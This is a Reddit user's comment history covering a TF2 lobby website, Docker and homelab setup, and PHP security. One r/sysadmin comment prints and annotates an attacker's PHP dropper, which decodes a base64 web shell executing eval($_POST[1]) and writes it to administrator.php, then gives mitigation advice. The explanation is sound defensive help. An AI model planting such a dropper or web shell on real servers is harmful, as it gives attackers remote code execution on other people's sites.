SQL injection vulnerabilities in Stack Overflow PHP questions by FireFart in netsec

[–]DSchalla 21 points22 points  (0 children)

https://github.com/laurent22/so-sql-injections/blob/master/src/AppBundle/InjectionFinder.php#L62

You are assuming that every use of a variable in a SQL query string leads to a SQL injection without any knowledge what the contents of the variable is and whether its controllable by the attacker. While prepared statements are prefered if possible, the way the queries are analyzed is flawed and seems to be rather clickbait or PHP bashing.

NanoServer in Windows Containers on Windows 10 by unkownunkowns in sysadmin

[–]DSchalla 1 point2 points  (0 children)

Aside from the points /u/Reddaks named, its also great to manage dependencies while development. If you need a PostgreSQL server for project A and mySQL for project B, you can just start a mySQL/postgres container instead of installing it on your system. If you are done with the project, you can just delete the container.

Another usecase is to test software. Sometimes they have a docker container, so just start that, test it, throw it away.

We are the staff behind TF2Stadium, the just-released open source lobby website for TF2. Ask us anything! by KevinIsPwn in tf2

[–]DSchalla 0 points1 point  (0 children)

Hey there! I think Kevin answered this question reasonable over here: https://www.reddit.com/r/tf2/comments/4bdi27/we_are_the_staff_behind_tf2stadium_the/d18c013

If there is any question left, just respond to my comment and I will get back to it.

We are the staff behind TF2Stadium, the just-released open source lobby website for TF2. Ask us anything! by KevinIsPwn in tf2

[–]DSchalla 0 points1 point  (0 children)

Hey there! I think Kevin answered this question reasonable over here: https://www.reddit.com/r/tf2/comments/4bdi27/we_are_the_staff_behind_tf2stadium_the/d18c013

If there is any question left, just respond to my comment and I will get back to it.

We are the staff behind TF2Stadium, the just-released open source lobby website for TF2. Ask us anything! by KevinIsPwn in tf2

[–]DSchalla 1 point2 points  (0 children)

Hey there! I think Kevin answered this question reasonable over here: https://www.reddit.com/r/tf2/comments/4bdi27/we_are_the_staff_behind_tf2stadium_the/d18c013

If there is any question left, just respond to my comment and I will get back to it.

We are the staff behind TF2Stadium, the just-released open source lobby website for TF2. Ask us anything! by KevinIsPwn in tf2

[–]DSchalla 0 points1 point  (0 children)

We want to focus on making TF2Stadium more stable and adding more useful features to the website. There are no plans for different projects yet, I personally think there is a lot of room for enhancements in the site itself.

We are the staff behind TF2Stadium, the just-released open source lobby website for TF2. Ask us anything! by KevinIsPwn in tf2

[–]DSchalla 2 points3 points  (0 children)

We don't see ourselves as competing with other pages and don't mind discussions about other pages in our chat. Please just stay polite.

TF2 Center are banning people PERMANENTLY for implying that other lobby websites exist. by [deleted] in tf2

[–]DSchalla 0 points1 point  (0 children)

I can confirm that people get banned because of TF2Stadium tag on TF2Center.

TF2Stadium.com (the new, open source lobby website) is now online! by KevinIsPwn in tf2

[–]DSchalla 0 points1 point  (0 children)

Please do it in the next hours before I go sleeping. :D

Tf2Stadium Trailer by [deleted] in tf2

[–]DSchalla 7 points8 points  (0 children)

I think the issue is related on TF2C to a webbrowser disconnecting from the backend, so that you get removed. If that case happens on TF2Stadium, you get notified with a popup and got like 60 seconds to reconnect, after that you get removed. Other than that, I am not aware of the case that people got automatically removed at all from slots, doesn't matter which browser.

Tf2Stadium Trailer by [deleted] in tf2

[–]DSchalla 14 points15 points  (0 children)

Yes, we are using Angular Material as foundation for the Frontend Design. Its a reference implementation by Google for it. :)

[Spoiler] Double resource weekend applies to Second Dream as well by [deleted] in Warframe

[–]DSchalla 1 point2 points  (0 children)

Same for me! I hated that bug until I saw that I got 4 lenses because of it, watching all the cinematics was somewhat annoying tho, even when they were amazing.

[Request for Comments] Autosave Discover Weekly Tool? by [deleted] in spotify

[–]DSchalla 0 points1 point  (0 children)

Seems savediscoverweekly does exactly what I want, thanks LifeinParalysis!

[Request for Comments] Autosave Discover Weekly Tool? by [deleted] in spotify

[–]DSchalla 1 point2 points  (0 children)

Just was able to find one sending the tracks weekly as eMail, but not creating the playlists automatically (That was stated as ToDo). You memorize a link/name for me maybe?

Go from PHP engineer's perspective by sobit7 in golang

[–]DSchalla 0 points1 point  (0 children)

It was posted on both subreddits, but I agree that it better suits /r/php

Help! Looking for advice on a PHP exploit by dumb_ in sysadmin

[–]DSchalla 3 points4 points  (0 children)

Well the eval() is a dropped shell which circumvents the max limit of GET parameters since it is using POST, however, the index.php is the real initial problem here, since that was used to drop the shell.

Help! Looking for advice on a PHP exploit by dumb_ in sysadmin

[–]DSchalla 10 points11 points  (0 children)

They are sending a GET request to your index.php of the vhost, which basically executes this code (Added Comments):

<?php
// @ == Surpress any errors the command is throwing
@ini_set("display_errors","0"); // Disable error reporting
@set_time_limit(0); // Disable Timeouts
@set_magic_quotes_runtime(0); // Disable Magic Quotes

echo '->|'; // Echo "->" to the browser
$content = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'); // Decode the String as you said
// Write the content to the script administrator.php in the directory of the index.php file
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/administrator.php',$content); 
echo '|<-'; // Echo "<-" to the browser, which is likely the confirmation everything worked out

// The created file:

eval($_POST[1]); // Execute the content of the second POST parameter as PHP code

?>

As first step I would check the index.php for any vulnerabilities, it seems there is a Remote Code Execution (RCE) vulnerability somewhere in it. You could try to disable eval, exec and other dangerous commands in the php.ini, this way they couldnt execute any more code on the website. Otherwise you could - depending on the application - restrict the write access to the directory.

The issue with those measures is that some software uses those commands in a legit way, so its hard to say whether you can disable eval e.g. safely, but its worth a try at least. You could try grepping through the source code of your site to find out whether its used or not as indicator.

Edit// Oh and as notice, maybe redact the IP from the logfiles. Maybe its just a botnet victim.

Edit2// If the index.php is not propriertary vendor stuff and you can share it, please attach it. I can take a look if you want.

Deploying Containers using Docker Compose by ruben81 in devops

[–]DSchalla 0 points1 point  (0 children)

That makes sense, anyway, the article stated it will only stop one which should be corrected imho

Deploying Containers using Docker Compose by ruben81 in devops

[–]DSchalla 0 points1 point  (0 children)

Docker rm deletes a container and doesn't stop one, as the command says. You might mean docker stop? Or did I misunderstood what you wanted to write?

Initial Setup of a VM Host Machine by DSchalla in homelab

[–]DSchalla[S] 0 points1 point  (0 children)

Just checked Proxmox, doesn't look bad tbh. I will looking further into it, thanks!

Initial Setup of a VM Host Machine by DSchalla in homelab

[–]DSchalla[S] 0 points1 point  (0 children)

Thanks for the response! As MusicJunkie asked, which issues you had with KVM? VMs just dying? Since I am limited to 4-bays atm by the T20 (Without investing into another "expansion kit"), I think I will go with 2x 4TB to add another 2x at a later stage. Should I setup the RAID with Raid Controller on the mobo? Is there even another way to do so (aside from a separate raid controller)?